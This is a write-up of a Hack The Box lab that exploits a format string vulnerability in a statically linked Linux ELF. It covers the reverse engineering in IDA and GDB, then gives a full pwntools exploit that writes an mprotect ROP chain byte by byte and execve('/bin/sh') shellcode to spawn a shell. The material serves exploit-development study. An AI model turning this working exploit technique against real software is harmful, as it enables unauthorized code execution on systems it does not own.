ROP in a Format String Vulnerability

During a lab at HTB, I encountered an interesting vulnerability. It was a format string vulnerability with several unusual characteristics.

Note: Because of HTB’s terms of service, I cannot disclose which lab, challenge, or ProLab was involved. Some images and names have therefore been redacted. This article focuses on explaining the concept and methodology.

🔍 The Application and Checksec

The application is a Linux program that runs in the console. I will call it App:

┌──(user㉿Linux)-[~]
└─$ file app                                                  
app: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=, not stripped                  

It is a 64-bit ELF executable for Linux. libc was linked statically, meaning that it is part of the application, unlike dynamic linking, which uses the operating system’s libc.

I then check which protection mechanisms were enabled during compilation. For this, I use checksec from pwntools:

The following settings are important:

• NX enabled: The stack is not executable.
• Canary found: A random value is placed on the stack at the beginning of a function call and checked at the end. If this value has changed, the stack is considered compromised and the program terminates.
• No PIE: ASLR is not enabled. The addresses therefore remain the same after each restart, which makes exploit development easier.
• Stripped No: Debug information was not removed, which simplifies reverse engineering.

The canary plays a minor role in this scenario. NX, however, prevents shellcode from being executed on the stack.

An assembly snippet such as:

jmp RSP

would therefore fail and cause a crash. I will return to this later.

We will keep these security mechanisms in mind as we examine the vulnerability in more detail.

🖥️ Running the Program

After the static analysis, I run the program. The goal is to gain a basic understanding of how it works and which features it offers. Of particular interest are the inputs the application expects, for example from users, the file system, or the network.

The application greets us with a banner. It appears to be a program that performs calculations. First, it asks for a name.

I then enter the number of hours worked.

After the hours are entered—20 in this example—the program calculates an amount, generates a report, and asks whether to exit (Y or N).

A quick test with long inputs and format string characters produced no result. It was time for reverse engineering.

🐞 Bug Hunting with IDA Pro

I used IDA Pro for reverse engineering, although Ghidra would also have been suitable. Loading the application reveals the following structure:

The application does not appear particularly complex. Among other things, the main function contains a variable named NOTES, which is initialized with 0 and set to 1000 bytes using memset.

mov     edx, 3E8h
mov     esi, 0
mov     edi, offset NOTES
call    memset

The program then reads Name and Hours Worked. Hours Worked is converted to an Integer:

sub     rax, 1
mov     [rbp+rax+var_30], 0
lea     rax, [rbp+var_30]
mov     rdi, rax
call    atoi
mov     [rbp+var_4C], eax
cmp     [rbp+var_4C], 0
jnz     short loc_4015CC

If atoi returns an error (eax == 0), the program outputs an error message:

mov     esi, offset aInvalidHours 
mov     edi, offset aInvalidHours 
call    log_error
mov     rax, cs:stdout
mov     rdi, rax
call    fflush
jmp     loc_4014C1

If atoi returns the integer value, the amount is displayed as shown above. If the amount is 0 or less, an error message is displayed and written to log.txt:

mov     eax, [rbp+var_48]
mov     edx, eax
mov     eax, [rbp+var_4C]
imul    eax, edx
mov     [rbp+var_52], ax
......
cmp     [rbp+var_52], 0
jle     loc_401762

loc_401762:
mov     edi, offset aAnErrorHasOccu  
call    puts
mov     edi, offset aLoggingDetails 
call    puts
......
mov     edi, offset aInvalidPayResu
call    log_error

If the amount is greater than 0, an interesting check follows:

cmp     [rbp+var_4C], 28h
jle     short loc_40166A

var_4c contains the value of Hours Worked. If it is greater than 0x28 (= 40), execution reaches a code block that did not appear above:

mov     eax, [rbp+var_4C]
sub     eax, 28h 
mov     [rbp+var_50], eax
......
call    printf
mov     edi, offset aReasonForOvert 
mov     eax, 0
call    printf
mov     edx, 3E8h
mov     esi, offset NOTES
mov     edi, 0
call    read
mov     eax, [rbp+var_48]

The program writes up to 1000 bytes into the NOTES variable and asks for a reason for the high number of hours. This is worth remembering.

The report is then output as before. The following section is particularly interesting:

......
mov     edi, offset aHoursWorkedD 
mov     eax, 0
call    printf
cmp     [rbp+var_50], 0
jz      short loc_4016EF

The last two lines check whether var_50 is greater than 0. As shown above, that is the case when Hours Worked exceeds 40:

mov     eax, [rbp+var_4C]
sub     eax, 28h 
mov     [rbp+var_50], eax

var_4c contains the value of HOURS WORKED. The program subtracts 40, writes the result to EAX, and then stores EAX in the local variable var_50.

When HOURS WORKED is greater than 40, we therefore reach another code block. The following excerpt is important:

......
mov     edi, offset aReason 
call    puts
mov     edi, offset NOTES
mov     eax, 0
call    printf
......

The third line writes the address of the NOTES variable to EDI. EAX is then initialized with 0, and printf is called. As established above, we control NOTES. There are no further checks or sanitization.

This appears to be a classic format string vulnerability. A quick test confirms it:

We have indeed found a format string vulnerability. Values—apparently addresses from the stack—are being output.

🧪 Dynamic Code Analysis with GDB

To examine the application’s runtime behavior more closely, I use the GNU Debugger (GDB) with the PEDA extension, which provides useful visualizations and exploit development features.

$ gdb -q app
Reading symbols from app...
(No debugging symbols found in app)
gdb-peda$

After starting the application with r, the program behaves as expected:

Because this is a format string vulnerability, I need to determine the position from which the stack can be manipulated through the format string.

The values BBBB (0x42) and DDDD (0x44) appear in memory, while CCCC does not. This confirms that manipulable stack content exists.

A classic exploit would now place shellcode on the stack and jump to it. Because of NX, however, code on the stack cannot be executed. Alternatives include:

• ret2libc
• ROP (Return Oriented Programming)

🧬 Reading Stack Addresses with Format Strings

The next objective is to find the return address on the stack. This address determines where execution continues after a function returns and is therefore a primary target for many exploits.

Using IDA, I identify the relevant location (0x4016FA) immediately before the printf call and set a breakpoint there:

This is directly before the printf function.

gdb-peda$ b *0x4016FA
Breakpoint 1 at 0x4016fa

Entering many %x format specifiers exposes the stack:

The output includes the return address:

A backtrace confirms the address:

Finally, I determine that the return address is at position 41 in the format string (%41$x).

Interim Findings

We now know:

1. A format string vulnerability exists.
2. The stack is not executable (NX).
3. We can read memory addresses in a controlled manner.
4. The return address is at format string position 41.

Questions still to answer:

• Where can the payload be placed?
• How can the payload be invoked?
• How can we bypass NX?

🛠️ Writing to Memory Addresses with Format Strings

Format strings can write as well as read. The %n specifier is used for this:

%n stores the number of characters output so far at the address referenced by the current parameter.

Example:

AAAA%n writes the number 4 to the address referenced by %n.

The first approach would be to overwrite the return address at position 41. The problem was that only byte-wise writes were stable. Writing multiple bytes caused crashes. This is an issue in a 64-bit context with 8-byte addresses. In addition, NX still prevents direct execution of shellcode on the stack.

ROP Chaining

The solution is ROP.

Because we can write the input (Name) to the stack, we can use it as an address. %n allows us to write to arbitrary memory locations.

The objective is to use mprotect to mark the stack region as executable. We can then execute shellcode there.

ROP Chain Structure

1. pop rdi ; ret
2. Stack address on the stack for pop rdi; the stack must be aligned to 0x1000.
3. pop rsi ; ret
4. Length on the stack for rsi (default: 0x1000)
5. pop rdx ; ret
6. PROT_EXEC. 0x7 = READ|WRITE|EXECUTE
7. Address of mprotect
8. jmp rsp
9. Shellcode

• pop rdi → memory address for mprotect
• pop rsi → length of the region
• pop rdx → access permissions
• mprotect → sets the permissions
• jmp rsp → jumps to the shellcode

I find the address of mprotect, for example, with:

objdump -d app | grep "mprotect"
  ...SNIP...
...SNIP... <__mprotect>:
  ...SNIP...

In this example, the address would be 0x43bf50.

I then find the gadget addresses with ROPGadget:

ROPgadget --binary app  | grep -i "ret"

Shellcode

The shellcode uses sys_execve to start /bin/sh:

xor    rax, rax
movabs rbx, 0x68732f6e69622f2f
push   rax
push   rbx
mov    rdi, rsp
xor    rsi, rsi
xor    rdx, rdx
mov    al, 59
syscall

The result is an interactive shell.

📦 Developing the Exploit with Python and pwntools

Manual exploitation is error-prone and time-consuming. Python and pwntools allow the process to be automated more robustly.

Setup

We import pwntools, define the target host and port, load the ELF including checksec, and set several constants:

from pwn import *
from struct import pack

host = "127.0.0.1"
port = 1234

elf = ELF("/tmp/app", checksec=True)
context.log_level = "INFO"
context.arch = "amd64"

mprotect = elf.sym.mprotect
offset = b"6"  # Format string offset for %n (%c%6$hhn)

Determining the Return Address

Next, we need the return address (RIP) in the current context. It serves as the anchor for the ROP chain:

def get_ret_address(p: process|remote) -> tuple[int, int]:
    p.sendlineafter(b" NAME: ", b"AAAABBBBCCCCDDDD")
    p.sendlineafter(b"HOURS WORKED: ", b"60")
    p.sendlineafter(b"REASON FOR : ", b"%33$p")
    p.recvuntil(b"REASON:")
    stack_address = int(p.recvuntil(b"TOTAL :").strip().split(b"\n")[0], 16) # stack address under my control
    print(p.sendlineafter(b"EXIT (Y/N): ", b""))
    return (stack_address + 0x118), stack_address+8

Note: Additional environment variables in GDB often shift the format string positions. In the debugging context, the return address was at %41$x; outside it, it was at %33$p. The correct position was determined empirically through trial and error.

Byte-Wise Writes with %n (hhn)

In this case, only byte-wise writes were stable. We use %hhn with modulus 256 and increment the target address after each byte.

def overwrite_stack(write_address: int, target_value: bytes, p: process | remote):
    new_write_address = write_address
    save_target_address = target_value

    for i in range(len(target_value)):
        target_address_byte = int(target_value[i])
        new_write_address = write_address + i
        p.sendlineafter(b" NAME: ", p64(new_write_address))
        p.sendlineafter(b"HOURS : ", b"60")
        if target_address_byte == 0: # special case for value 0
            p.sendlineafter(b"REASON FOR : ", b"%256c%" + offset + b"$hhn") # hhn => 256 % 256 = 0 => Write 0 since hhn performs a modulus operation with 256
        else:
            p.sendlineafter(b"REASON FOR : ", b"%" + str(target_address_byte).encode() + b"c%" + offset + b"$n")
        p.sendlineafter(b"EXIT (Y/N): ", b"")

        # target_value = target_value >> 8 # shift right 8 bits for taking the next byte.

    # Clear buffer
    p.sendlineafter(b" NAME: ", b"XY")
    p.sendlineafter(b"HOURS  : ", b"60")
    p.sendlineafter(b"REASON FOR : ", b"                       ")
    p.sendlineafter(b"EXIT (Y/N): ", b"")

    new_write_address = new_write_address + 1  # new RIP for rop chain

    return new_write_address```

Shellcode

We use a compact execve("/bin/sh") shellcode (SYSCALL 59):

shellcode = asm('''
        xor    rax, rax
        movabs rbx, 0x68732f6e69622f2f
        push   rax
        push   rbx
        mov    rdi, rsp
        xor    rsi, rsi
        xor    rdx, rdx
        mov    al, 59
        syscall''')

Building the ROP Chain

The chain marks a stack region as RXW using mprotect, then uses jmp rsp to jump into the shellcode:

def build_rop_and_trigger(p: process | remote):
    # 1) Determine the return address (starting point) and controlled stack base
    ret_address, stack_base = get_ret_address(p)

    # 2) Gadgets/addresses (example values from the analysis)
    POP_RDI   = 0x...401d93  # pop rdi ; ret
    POP_RSI   = 0x...401ea7  # pop rsi ; ret
    POP_RDX   = 0x...43e345  # pop rdx ; ret
    JMP_RSP   = 0x...49d9c3  # jmp rsp
    LENGTH    = 0x1000              # Size of the region to protect
    PROT_EXEC = 0x7                 # PROT_READ | PROT_WRITE | PROT_EXEC

    # 3) Write the ROP chain byte by byte, starting at the return address
    #    a) pop rdi ; ret
    ret_address = overwrite_stack(ret_address, p64(POP_RDI), p)
    #    b) Seiten-aligned Stackadresse (mprotect verlangt 0x1000-Alignment)
    ret_address = overwrite_stack(ret_address, p64(stack_base & ~0xfff), p)
    #    c) pop rsi ; ret
    ret_address = overwrite_stack(ret_address, p64(POP_RSI), p)
    #    d) Length
    ret_address = overwrite_stack(ret_address, p64(LENGTH), p)
    #    e) pop rdx ; ret
    ret_address = overwrite_stack(ret_address, p64(POP_RDX), p)
    #    f) Protection Flags
    ret_address = overwrite_stack(ret_address, p64(PROT_EXEC), p)
    #    g) mprotect() address
    ret_address = overwrite_stack(ret_address, p64(mprotect), p)
    #    h) jmp rsp (springt in den nachfolgenden Shellcode)
    ret_address = overwrite_stack(ret_address, p64(JMP_RSP), p)
    #    i) Shellcode directly after the chain
    ret_address = overwrite_stack(ret_address, shellcode, p)

    # 4) Leave the menu state cleanly to trigger the return
    exit_program(p)

    # 5) Switch to the interactive shell
    p.interactive()

A possible exit_program helper function, if the menu requires a final interaction:

def exit_program(p: process | remote):
    try:
        p.sendlineafter(b"EXIT (Y/N): ", b"Y")
    except EOFError:
        pass

Result: After mprotect, the stack region is executable; jmp rsp transfers control to the shellcode, which starts /bin/sh.

Conclusion

Finding the vulnerability was challenging, exciting, and highly instructive. The format string vulnerability itself was relatively easy to identify. The more difficult aspect was that the target address and the write operation had to be supplied through different prompts. Additional obstacles included NX and the need for byte-wise writes.

Overall, this was an educational exercise that gave me further insight into exploit development in Linux environments.